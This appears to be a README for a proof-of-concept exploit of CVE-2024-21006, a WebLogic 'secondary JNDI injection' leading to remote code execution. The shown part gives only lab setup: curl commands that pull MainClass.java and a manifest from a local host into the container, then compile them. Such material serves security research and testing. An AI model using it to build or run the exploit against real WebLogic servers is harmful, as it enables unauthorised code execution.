WebLogic - CVE-2024-21006

CVE-2024-21006 reveals a new WebLogic attack method: secondary JNDI injection, that is, triggering JNDI injection during the JNDI injection process, thereby completing RCE.

Project is based on the findings of pwnull and code from momika223.

Prepare the environment by uploading MainClass.java and META-INF/MANIFEST.MF to the WebLogic container.

[oracle@14110-weblogic lib]$ curl -OL 172.17.0.1/MainClass.java
[oracle@14110-weblogic lib]$ curl -OL 172.17.0.1/MANIFEST.MF
[oracle@14110-weblogic lib]$ mkdir META-INF
[oracle@14110-weblogic lib]$ mv MANIFEST.MF META-INF/

Compile the code.

[oracle@14110-weblogic lib]$ javac -cp /u01/oracle/wlserver/server/lib/weblogic.jar MainClass.java
